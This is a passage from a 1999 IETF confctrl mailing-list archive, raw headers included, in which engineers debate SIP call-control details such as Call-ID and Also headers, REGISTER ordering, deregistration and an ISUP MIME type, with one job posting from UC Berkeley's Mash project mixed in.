In the C->B triggered INVITE the draft indicates an "Also: C" would be
included.  C is the one sending the message so why would it include itself
in the INVITE message?  I don't think having "Also: A" as your flow
suggests is really needed either.  I think the draft says somewhere that
the participants in the Also header are those that the endpoint is already
connected with.  For this particular case it would be sufficient (I think)
to have nobody listed in the Also header of the C->B triggered INVITE.

-Jeff

--
Jeff Mark
Dialogic, an Intel Company


> -----Original Message-----
> From: Wing Man Kwok
>
> All,
>
> I have a question about the call-id values in INVITE messages
> with ALSO or
> REQUEST-BY headers as specified in draft-ietf-mmusic-sip-cc-01.txt.
>
> Suppose we have the following scenerio:
>
> A is talking to B in a call with call-id 123@a.com
> Now A wants to add C to the call (thus it becomes a conference
> call).  The
> following INVITE messages will be exchanged:
>    A sends C an "INVITE C  Also:B"
>    C sends B an "INVITE B  Also:A  ReqBy:A"
>
> My question is:
>    Are the above two INVITE messages sent with the call-id
> 123@a.com of the
> ongoing call between A and B?
>
> Thanks.
>
> Wing Man Kwok
>


From confctrl-owner  Wed Sep 22 14:36:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA26185
	for confctrl-outgoing; Wed, 22 Sep 1999 14:36:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA26180
	for <confctrl@zephyr.isi.edu>; Wed, 22 Sep 1999 14:36:21 -0700 (PDT)
Received: from alpha.mcit.com (omzrelay01.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA19855
	for <confctrl@ISI.EDU>; Wed, 22 Sep 1999 14:36:20 -0700 (PDT)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #38416)
 with ESMTP id <0FIH0060HDBAFX@firewall.mcit.com> for confctrl@ISI.EDU; Wed,
 22 Sep 1999 21:35:35 +0000 (GMT)
Received: from omzexch007.mcit.com (OMZEXCH007.mcit.com [166.37.194.38])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id VAA05551; Wed,
 22 Sep 1999 21:34:15 +0000 (GMT)
Received: by omzexch007 with Internet Mail Service (5.5.2571.0)
	id <TJV9KMR3>; Wed, 22 Sep 1999 21:35:32 +0000
Content-return: allowed
Date: Wed, 22 Sep 1999 21:35:28 +0000
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
Subject: RE: ISUP MIME type
To: "'Adam B. Roach'" <Adam.Roach@ericsson.com>, ericz@ipverse.com
Cc: confctrl@ISI.EDU
Message-id: <75C79E507864D3118AFC00805FEAB7D8018E8F@ripexch001.mcit.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-type: multipart/alternative;
	boundary="----_=_NextPart_001_01BF0542.63F42C7D"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF0542.63F42C7D
Content-Type: text/plain;
	charset="iso-8859-1"

Eric,

I seem to be missing something here.  Why is there an aversion to
generalizing the draft to be SS7 user parts instead of just ISUP.  The
Internet is international in scope and carriers will need to interface with
all different varieties of country specific user parts.  It doesn't seem an
efficient use of our time to require a separate MIME type for each when
Adam's proposal will handle them all at once.

Steve

-----Original Message-----
From: Adam B. Roach [mailto:Adam.Roach@ericsson.com]
Sent: Tuesday, September 14, 1999 6:25 PM
To: ericz@ipverse.com
Cc: Adam.Roach@ericsson.com; confctrl@ISI.EDU
Subject: Re: ISUP MIME type


>We decided not to include non-ISUP user parts in the draft.  I believe a
>well defined target is easier to hit.
>
>If you would like to target BT NUP, I will be happy to give you comments on
>your draft.

I doubt you would have many. Were I to produce such a draft, I
would do by loading yours into a text editor, performing a
search-and-replace to change "ISUP" to "BT-NUP," and adding my
name.

Which is precisely why I see no need for two (or more) documents.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

------_=_NextPart_001_01BF0542.63F42C7D
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE>RE: ISUP MIME type</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Eric,</FONT>
</P>

<P><FONT SIZE=3D2>I seem to be missing something here.&nbsp; Why is =
there an aversion to generalizing the draft to be SS7 user parts =
instead of just ISUP.&nbsp; The Internet is international in scope and =
carriers will need to interface with all different varieties of country =
specific user parts.&nbsp; It doesn't seem an efficient use of our time =
to require a separate MIME type for each when Adam's proposal will =
handle them all at once.</FONT></P>

<P><FONT SIZE=3D2>Steve</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Adam B. Roach [<A =
HREF=3D"mailto:Adam.Roach@ericsson.com">mailto:Adam.Roach@ericsson.com</=
A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Tuesday, September 14, 1999 6:25 PM</FONT>
<BR><FONT SIZE=3D2>To: ericz@ipverse.com</FONT>
<BR><FONT SIZE=3D2>Cc: Adam.Roach@ericsson.com; confctrl@ISI.EDU</FONT>
<BR><FONT SIZE=3D2>Subject: Re: ISUP MIME type</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>&gt;We decided not to include non-ISUP user parts in =
the draft.&nbsp; I believe a</FONT>
<BR><FONT SIZE=3D2>&gt;well defined target is easier to hit.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;If you would like to target BT NUP, I will be =
happy to give you comments on</FONT>
<BR><FONT SIZE=3D2>&gt;your draft.</FONT>
</P>

<P><FONT SIZE=3D2>I doubt you would have many. Were I to produce such a =
draft, I</FONT>
<BR><FONT SIZE=3D2>would do by loading yours into a text editor, =
performing a</FONT>
<BR><FONT SIZE=3D2>search-and-replace to change &quot;ISUP&quot; to =
&quot;BT-NUP,&quot; and adding my</FONT>
<BR><FONT SIZE=3D2>name.</FONT>
</P>

<P><FONT SIZE=3D2>Which is precisely why I see no need for two (or =
more) documents.</FONT>
</P>

<P><FONT SIZE=3D2>--</FONT>
<BR><FONT SIZE=3D2>Adam Roach, Ericsson Inc. |&nbsp; Ph: +1 972 583 =
7594 | 1010 E. Arapaho, MS L-04</FONT>
<BR><FONT SIZE=3D2>adam.roach@ericsson.com&nbsp;&nbsp; | Fax: +1 972 =
669 0154 | Richardson, TX 75081 USA</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BF0542.63F42C7D--

From confctrl-owner  Wed Sep 22 22:00:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA10629
	for confctrl-outgoing; Wed, 22 Sep 1999 22:00:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA10624
	for <confctrl@zephyr.isi.edu>; Wed, 22 Sep 1999 22:00:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA22856
	for <confctrl@isi.edu>; Wed, 22 Sep 1999 22:00:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Sep 23 00:58:54 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.117])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id AAA17852;
	Thu, 23 Sep 1999 00:58:51 -0400 (EDT)
Message-ID: <37E9B3ED.7455FE09@bell-labs.com>
Date: Thu, 23 Sep 1999 01:00:29 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: archow@hss.hns.com
CC: confctrl@ISI.EDU
Subject: Re: A few questions on REGISTER
References: <652567F4.002F4062.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

archow@hss.hns.com wrote:
> 
> Hi,
> 
> with ref. to SIP RFC 2453
> 
> 1) "Section 4.2.6 says for Cseq : Registrations for same CallID MUST have
> inc. Cseq.......
> However , Server does not reject out of order requests."
> 
> Somewhere else in the RFC its stated that a UAC SHOULD not send a new
> REGISTER till it receives
> a response to a prev. register (or a timeout, I guess)
> 
> But suppose a UAC does, contrary to the reccomendation, send a few
> REGISTERs without waiting for a response,
> and the Proxy receives and accepts all, then its possible the current
> Registration does not reflect the latest registration sent by the client.
> 
> I realise that the UAC in the first place is not doing what it should, but
> doesnt it make more sense for the Proxy to reject REGISTERs whose CSEq is
> lesser than the last processed CSeq for that call ?
> By allowing all REGISTERs, what is being acheived ?

Your suggestion would require the registrar to keep lists of CSeq and
CallID values, and its not clear when the registrar would be able to
destroy them (remember, there can be different Call-IDs for each
registration, as they may originate from different hosts). Since the
ordering cannot be guaranteed across Call-IDs, guaranteeing them within
a single Call-ID doesn't appear that useful. Furthermore, its much
simpler in a registrar to not have to worry about ordering; pushing this
burden to the UAC helps the scalability a little bit. Granted, its not a
major issue, but I don't see whats gained by changing this?

> 
> 2) Section 4.2.6 again:
> 
> "Registrations not refreshed after this amt. of time SHOULD be silently
> discarded " (context of ttl expiring)
> 
> Is there any provision for the server to inform the client that its being
> Unregd. ?
> The client should be able to have a timer, which should trigger on the
> returned Expires hdr from the proxy and re-register if needs be,
> but can any analogy be drawn to say H323, which allows the GK to send a URQ
> to the EP (especially if Keepalive is not supported by the EP(endpoint)) to
> inform him of unregistration ?

Since the register response contains the updated expires header, this
tells the client when the server will delete the registration. The
client should use this expires header as the timer to trigger a
registration refresh (actually, to be safe, it should refresh a little
sooner). 

There is no way for the server to inform the client of a forceful
deregistration before the expiry time, as we have discussed in the past.
The only argument put forward on the usage for this was to handle
backups, but there seemed consensus that SRV record manipulation was a
much more scalable and reasonable solution to this. A large server, with
thousands of registrations, would have to send a lot of forceful
unregisters, not to mention that it couldn't handle clients who weren't
currently registered anyway.


> 
> Finally, a statement in 4.2.6, last para:
> 
> "The server SHOULD return the current list of registrations in the 200
> response as Contact hdr fields"
> 
> I dont know how many people made the same mistake, but  I initially
> interpreted this as the Server returning ALL the registrations of ALL the
> registered users in the 200 response - which is why I had assumed that I
> can implement the 'Current Users' list  by simply sending a REGISTER to the
> server. It was later pointed out that it should only return the requesting
> Users registrations and not all.
> Maybe the text needs to be specific, or is it just me :-p ?

Certainly this can be clarified. Sending everyone elses registrations
seems a bit of a security hole, so this is definitely not the intention.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Sep 23 04:04:00 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA21840
	for confctrl-outgoing; Thu, 23 Sep 1999 04:04:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA21835
	for <confctrl@zephyr.isi.edu>; Thu, 23 Sep 1999 04:03:57 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA18034
	for <confctrl@ISI.EDU>; Thu, 23 Sep 1999 04:03:37 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id QAA16950;
	Thu, 23 Sep 1999 16:54:29 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567F5.003BF18C ; Thu, 23 Sep 1999 16:24:44 +0530
X-Lotus-FromDomain: HSSBLR
To: Jonathan Rosenberg <jdrosen@bell-labs.com>
cc: confctrl@ISI.EDU
Message-ID: <652567F5.003A72C3.00@sampark.hss.hns.com>
Date: Thu, 23 Sep 1999 16:24:39 +0530
Subject: Re: A few questions on REGISTER
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk






Jonathan Rosenberg <jdrosen@bell-labs.com> on 09/23/99 10:30:29 AM


jonathan> Your suggestion would require the registrar to keep lists of CSeq
and
jonathan> CallID values, and its not clear when the registrar would be able
to
jonathan> destroy them (remember, there can be different Call-IDs for each
jonathan> registration, as they may originate from different hosts). Since
the
jonathan> ordering cannot be guaranteed across Call-IDs, guaranteeing them
within
jonathan> a single Call-ID doesn't appear that useful. Furthermore, its
much
jonathan> simpler in a registrar to not have to worry about ordering;
pushing this
jonathan> burden to the UAC helps the scalability a little bit. Granted,
its not a
jonathan> major issue, but I don't see whats gained by changing this?

Well, the problem was that since we are saying (according to the RFC) that
REGISTER messages are not rejected (ie no bad request is given), then in
the case when the REGISTRAR gets two messages from a UAC (the UAC did not
wait for a reply for register), 1st one is with Expires 0 and Contact * and
the following one is Expires <xx> and Contact abc, that means the client
wanted to remove all exisitng rgistrations and start afresh.
However, if they arrive out of order, that would mean add abc to the
register list and then remove all of them - something which was not
intended, but will happen since the registrar does not care about CSeq
ordering.

So if we are saying that since the client itself did not wait for the first
response, it should be ready for unpredicatable results, then the registrar
need not worry - but I did think it would just be safer if the registrar
did.


jonathan>  There is no way for the server to inform the client of a
forceful
jonathan> deregistration before the expiry time, as we have discussed in
the past.
jonathan> The only argument put forward on the usage for this was to handle
jonathan> backups, but there seemed consensus that SRV record manipulation
was a
jonathan> much more scalable and reasonable solution to this. A large
server, with
jonathan> thousands of registrations, would have to send a lot of forceful
jonathan> unregisters, not to mention that it couldn't handle clients who
weren't
jonathan> currently registered anyway.

Well, again, a server is given an option to send something similar to URQ -
it is not mandatory,
hence it is the server's discretion to send it. This is typically useful if
a particular EPs registration has to be cancelled due to policy (and it
might not be right to wait for the EP to discover this unregistration after
the next failed operation)
And certainly very useful if we are proving a 323-SIP gateway where the GK
wants to forcibly
remove a users registration (due to say the admin removing him for some
reason), so the GK now sends a URQ to the Endpoint (EP). However, incase
the same message has to go across to a terminal which is SIP based , the
gateway has no way to convert the GK oriented URQ to something like
UNREGISTER - the EP would simply have to wait till it sends its next
INVITE.

Regds
Arjun

--
Arjun Roychowdhury @ Hughes Software Systems
Off: Prestige Opal,146 Infantry Road,Blore - 560001  Ph:+91-080-2286390/1/2




From confctrl-owner  Thu Sep 23 04:05:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA21921
	for confctrl-outgoing; Thu, 23 Sep 1999 04:05:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA21916
	for <confctrl@zephyr.isi.edu>; Thu, 23 Sep 1999 04:05:07 -0700 (PDT)
Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA18076
	for <confctrl@isi.edu>; Thu, 23 Sep 1999 04:05:06 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id EAA19756;
	Thu, 23 Sep 1999 04:05:02 -0700 (PDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id MAA09459;
	Thu, 23 Sep 1999 12:04:56 +0100 (BST)
Message-ID: <37EA09DB.FAF39C36@hplb.hpl.hp.com>
Date: Thu, 23 Sep 1999 12:07:07 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jeff Mark <Jeff.Mark@Dialogic.com>
CC: Wing Man Kwok <wkwok@telogy.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: Call-id in INVITE messages with ALSO and REQUEST-BY
References: <000a01bf0541$8b550040$9c839892@dialogic.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Jeff Mark wrote:
> 
> Yep, that's right.  You would use the call-id (123@a.com) of the existing
> A-B call. When B receives the triggered INVITE from C it will know C is
> being added to the exisiting call (123@a.com).  If a different call-id was
> used, B would think this was a new call being formed.
> 
> There is an add party example in the draft (Figure 3 in section 8) where A
> & B were connected, and A was adding C to the call.  Let's use your
> call-id of 123@A.com for the exising A-B call.  Adding the call-id to the
> diagram we get something like this for the message flow:
> 
>         A->C: INVITE C
>               Call-Id: 123@A.com
>               Also: B
> 
>         C->B: INVITE B
>               Call-Id: 123@A.com
>               Also: C            <---- Why C?
>                 Requested-By: A
> 
>         B->C: 200 OK
>         C->B: ACK
> 
>         C->A: 200 OK
>         A->C: ACK
> 
> In the C->B triggered INVITE the draft indicates an "Also: C" would be
> included.  C is the one sending the message so why would it include itself
> in the INVITE message?  I don't think having "Also: A" as your flow
> suggests is really needed either.  I think the draft says somewhere that
> the participants in the Also header are those that the endpoint is already
> connected with.  For this particular case it would be sufficient (I think)
> to have nobody listed in the Also header of the C->B triggered INVITE.

I think you're right that the draft is not completely clear on what the
value of the Also header of the C->B triggered INVITE should be. 
Section 6.2.1 says:

   "The UA also formulates an internal participant list. This list
   contains a set of URIs for each user, and for each, a version and
   status parameter. This list is initialized to the set contained in
   the Also header in the INVITE. This list is also placed into the Also
   headers of each triggered INVITE."

So according to this, in the example, C should initialize its internal
participants list to consist of B (the value of Also in the A->C
INVITE), and should send INVITE B ALSO B to B, whereas the example says
"Also C".  

At a first glance it would appear pointless for C to tell B to INVITE
either C or B as they are the two parties involved in that particular
triggered INVITE, but one could probably think up race condition
scenarios where B really needs the *associated* information, status and
version parameters, e.g. if B is leaving just as A is adding C, B's
response to the C->B INVITE might depend on whether A added C knowing of
B's departure or not.

It's kind of hard to get a complete picture of all possible race
conditions of that sort so I think maybe the best approach is to be
conservative and specify that C sends *all* available information in the
C->B triggered INVITE, which would be Also: A,B,C.  B then has to be a
bit careful and not send C or itself a triggered INVITE as that could
get nasty!

Regards,
Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Thu Sep 23 07:44:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA29034
	for confctrl-outgoing; Thu, 23 Sep 1999 07:44:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA29029
	for <confctrl@zephyr.isi.edu>; Thu, 23 Sep 1999 07:44:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA26997
	for <confctrl@isi.edu>; Thu, 23 Sep 1999 07:44:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Sep 23 10:43:15 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA24996;
	Thu, 23 Sep 1999 10:43:10 -0400 (EDT)
Message-ID: <37EA3C80.6F07BD82@dnrc.bell-labs.com>
Date: Thu, 23 Sep 1999 10:43:12 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: Jeff Mark <Jeff.Mark@Dialogic.com>, Wing Man Kwok <wkwok@telogy.com>,
        confctrl <confctrl@ISI.EDU>
Subject: Re: Call-id in INVITE messages with ALSO and REQUEST-BY
References: <000a01bf0541$8b550040$9c839892@dialogic.com> <37EA09DB.FAF39C36@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Anders Kristensen wrote:
> 
> Jeff Mark wrote:
> >
> > Yep, that's right.  You would use the call-id (123@a.com) of the existing
> > A-B call. When B receives the triggered INVITE from C it will know C is
> > being added to the exisiting call (123@a.com).  If a different call-id was
> > used, B would think this was a new call being formed.
> >
> > There is an add party example in the draft (Figure 3 in section 8) where A
> > & B were connected, and A was adding C to the call.  Let's use your
> > call-id of 123@A.com for the exising A-B call.  Adding the call-id to the
> > diagram we get something like this for the message flow:
> >
> >         A->C: INVITE C
> >               Call-Id: 123@A.com
> >               Also: B
> >
> >         C->B: INVITE B
> >               Call-Id: 123@A.com
> >               Also: C            <---- Why C?
> >                 Requested-By: A
> >
> >         B->C: 200 OK
> >         C->B: ACK
> >
> >         C->A: 200 OK
> >         A->C: ACK
> >
> > In the C->B triggered INVITE the draft indicates an "Also: C" would be
> > included.  C is the one sending the message so why would it include itself
> > in the INVITE message?  I don't think having "Also: A" as your flow
> > suggests is really needed either.  I think the draft says somewhere that
> > the participants in the Also header are those that the endpoint is already
> > connected with.  For this particular case it would be sufficient (I think)
> > to have nobody listed in the Also header of the C->B triggered INVITE.
> 
> I think you're right that the draft is not completely clear on what the
> value of the Also header of the C->B triggered INVITE should be.
> Section 6.2.1 says:
> 
>    "The UA also formulates an internal participant list. This list
>    contains a set of URIs for each user, and for each, a version and
>    status parameter. This list is initialized to the set contained in
>    the Also header in the INVITE. This list is also placed into the Also
>    headers of each triggered INVITE."
> 
> So according to this, in the example, C should initialize its internal
> participants list to consist of B (the value of Also in the A->C
> INVITE), and should send INVITE B ALSO B to B, whereas the example says
> "Also C".
> 
> At a first glance it would appear pointless for C to tell B to INVITE
> either C or B as they are the two parties involved in that particular
> triggered INVITE, but one could probably think up race condition
> scenarios where B really needs the *associated* information, status and
> version parameters, e.g. if B is leaving just as A is adding C, B's
> response to the C->B INVITE might depend on whether A added C knowing of
> B's departure or not.

You are right that its not clear or consistent from the draft; this is
definitely work in progress and there are many issues to be resolved.
Regarding this one, I agree with Anders in that the associated
information is probably needed, and that the safest thing to do is
include both in the Also. I think we will also need to place the user
who sent the untriggered INVITE (A in this case) in the Also header as
well, as Anders suggests. I'm not entirely sure since the details of the
"version" field are still elusive...

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Sep 23 19:05:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA26616
	for confctrl-outgoing; Thu, 23 Sep 1999 19:05:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA26603;
	Thu, 23 Sep 1999 19:05:21 -0700 (PDT)
Received: from gumby.CS.Berkeley.EDU (gumby.CS.Berkeley.EDU [128.32.32.38])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA06792;
	Thu, 23 Sep 1999 19:05:20 -0700 (PDT)
Received: from BMRC.Berkeley.EDU (opus.CS.Berkeley.EDU [128.32.131.116]) by gumby.CS.Berkeley.EDU (8.8.4/8.6.9) with ESMTP id TAA03649; Thu, 23 Sep 1999 19:05:12 -0700 (PDT)
Message-ID: <37EADC56.2AE13E9D@BMRC.Berkeley.EDU>
Date: Thu, 23 Sep 1999 19:05:10 -0700
From: "Lawrence A. Rowe" <Rowe@bmrc.berkeley.edu>
Reply-To: Rowe@bmrc.berkeley.edu
Organization: U.C. Berkeley
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
Newsgroups: ucb.cs.jobs,ba.jobs.direct,alt.jobs,misc.jobs.offered
CC: rem-conf@esnet, mbone@ISI.EDU, confctrl@ISI.EDU
Subject: Streaming audio/video toolkit research programmer
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi -

The Open Mash Project at UC Berkeley has two opennings for full-time
programmer analysts to work on the <a
href="http://bmrc.berkeley.edu/mash">Mash Streaming Media Toolkit</a>:

<a href="http://bmrc.berkeley.edu/mash/jobs/pa4.html">Project
Manager</a> (starting salary $58K-$81K)
<a href="http://bmrc.berkeley.edu/mash/jobs/pa3.html">Software
Developer</a> (starting salary $47K-$67K) - Macintosh development
experience desired

The Mash toolkit is used by the Internet Mbone tools and researchers
developing new distributed collaboration and streaming media
applications.  Learn about and work on Internet2 and multicast protocols
and applications.

Join a world-class research organization and work on exciting technology
that will be used by researchers all over the world. For more
information contact Oliver Crow at ocrow@bmrc.berkeley.edu.
	Larry Rowe
-- 
Professor Lawrence A. Rowe          Internet:  Rowe@BMRC.Berkeley.EDU
Computer Science Division - EECS       Phone: 510-642-5117
University of California, Berkeley       Fax: 510-642-5615
Berkeley, CA 94720-1776            URL: http://bmrc.berkeley.edu/~larry

From confctrl-owner  Sun Sep 26 21:24:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA15662
	for confctrl-outgoing; Sun, 26 Sep 1999 21:24:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA15657
	for <confctrl@zephyr.isi.edu>; Sun, 26 Sep 1999 21:24:04 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA18415
	for <confctrl@isi.edu>; Sun, 26 Sep 1999 21:24:03 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Mon Sep 27 00:23:44 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.78])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id AAA19081;
	Mon, 27 Sep 1999 00:23:42 -0400 (EDT)
Message-ID: <37EEF1AF.2A602438@bell-labs.com>
Date: Mon, 27 Sep 1999 00:25:19 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: archow@hss.hns.com
CC: confctrl@ISI.EDU
Subject: Re: A few questions on REGISTER
References: <652567F5.003A72C3.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

archow@hss.hns.com wrote:
> 
> Jonathan Rosenberg <jdrosen@bell-labs.com> on 09/23/99 10:30:29 AM
> 
> jonathan> Your suggestion would require the registrar to keep lists of CSeq
> and
> jonathan> CallID values, and its not clear when the registrar would be able
> to
> jonathan> destroy them (remember, there can be different Call-IDs for each
> jonathan> registration, as they may originate from different hosts). Since
> the
> jonathan> ordering cannot be guaranteed across Call-IDs, guaranteeing them
> within
> jonathan> a single Call-ID doesn't appear that useful. Furthermore, its
> much
> jonathan> simpler in a registrar to not have to worry about ordering;
> pushing this
> jonathan> burden to the UAC helps the scalability a little bit. Granted,
> its not a
> jonathan> major issue, but I don't see whats gained by changing this?
> 
> Well, the problem was that since we are saying (according to the RFC) that
> REGISTER messages are not rejected (ie no bad request is given), then in
> the case when the REGISTRAR gets two messages from a UAC (the UAC did not
> wait for a reply for register), 1st one is with Expires 0 and Contact * and
> the following one is Expires <xx> and Contact abc, that means the client
> wanted to remove all exisitng rgistrations and start afresh.
> However, if they arrive out of order, that would mean add abc to the
> register list and then remove all of them - something which was not
> intended, but will happen since the registrar does not care about CSeq
> ordering.

If the client wants to ensure thats its registrations are ordered
correctly, it should follow the rules about not sending one after the
other. Someone has to worry about enforcing ordering. The server can do
it by rejecting out of order requests, or the client can shoulder the
burden by making sure it gets a response to one before submitting the
next. As I mentioned, pushing this function to the client seems to scale
better.
\
> jonathan>  There is no way for the server to inform the client of a
> forceful
> jonathan> deregistration before the expiry time, as we have discussed in
> the past.
> jonathan> The only argument put forward on the usage for this was to handle
> jonathan> backups, but there seemed consensus that SRV record manipulation
> was a
> jonathan> much more scalable and reasonable solution to this. A large
> server, with
> jonathan> thousands of registrations, would have to send a lot of forceful
> jonathan> unregisters, not to mention that it couldn't handle clients who
> weren't
